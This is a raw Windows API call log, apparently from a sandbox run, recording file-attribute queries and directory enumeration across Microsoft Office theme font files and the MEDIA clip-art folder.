	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b4f8 | out: lpFileInformation=0x1277b4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c)) returned 1
	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b548 | out: lpFileInformation=0x1277b548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f)) returned 1
	[0051.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b598 | out: lpFileInformation=0x1277b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f)) returned 1
	[0051.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b5e8 | out: lpFileInformation=0x1277b5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18)) returned 1
	[0051.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b638 | out: lpFileInformation=0x1277b638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9)) returned 1
	[0051.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b688 | out: lpFileInformation=0x1277b688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13)) returned 1
	[0051.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b6d8 | out: lpFileInformation=0x1277b6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff)) returned 1
	[0051.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b728 | out: lpFileInformation=0x1277b728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1
	[0051.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b778 | out: lpFileInformation=0x1277b778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19)) returned 1
	[0051.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b7c8 | out: lpFileInformation=0x1277b7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14)) returned 1
	[0051.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), fInfoLevelId=0x0, lpFileInformation=0x1277b818 | out: lpFileInformation=0x1277b818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9)) returned 1
	[0051.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), fInfoLevelId=0x0, lpFileInformation=0x1277b868 | out: lpFileInformation=0x1277b868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c)) returned 1
	[0051.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), fInfoLevelId=0x0, lpFileInformation=0x1277b8b8 | out: lpFileInformation=0x1277b8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70)) returned 1
	[0051.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), fInfoLevelId=0x0, lpFileInformation=0x1277b908 | out: lpFileInformation=0x1277b908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600)) returned 1
	[0051.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), fInfoLevelId=0x0, lpFileInformation=0x1277b958 | out: lpFileInformation=0x1277b958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681)) returned 1
	[0051.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), fInfoLevelId=0x0, lpFileInformation=0x1277b9a8 | out: lpFileInformation=0x1277b9a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.862] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.862] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1
	[0051.862] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1
	[0051.862] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.862] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.862] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), fInfoLevelId=0x0, lpFileInformation=0x1277ba98 | out: lpFileInformation=0x1277ba98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1
	[0051.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1
	[0051.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1
